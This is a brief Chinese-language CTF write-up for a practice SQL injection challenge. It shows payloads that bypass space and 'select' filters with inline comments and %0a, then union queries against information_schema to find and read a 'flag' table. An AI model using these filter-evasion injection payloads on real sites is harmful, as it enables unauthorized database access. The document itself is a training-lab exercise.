题目地址:http://ctf5.shiyanbar.com/web/index_2.php
尝试提交'or '1
简单地试一下,发现空格被吃掉了,那就提交'or'1
成功爆出数据,简单地测试之后发现select和)也被吃掉了,尝试绕过select过滤的时候发现:
大小写无法绕过、%0aselect%0a无法绕过,/**/select/**/和/*!select*/可以绕过
由于无法使用),所以我们无法使用函数,报错和database()都无法使用,无法获取数据库名,但是我们可以尝试将所有的时间表都爆出来。(当然你也可以使用limit一条条来)
提交'union/*!select*/table_name%0afrom%0ainformation_schema.tables%23,在底部看到flag表
接下来就是获取列名,提交'union/*!select*/column_name%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23
获取字段名,最后selec出flag
getflag
the end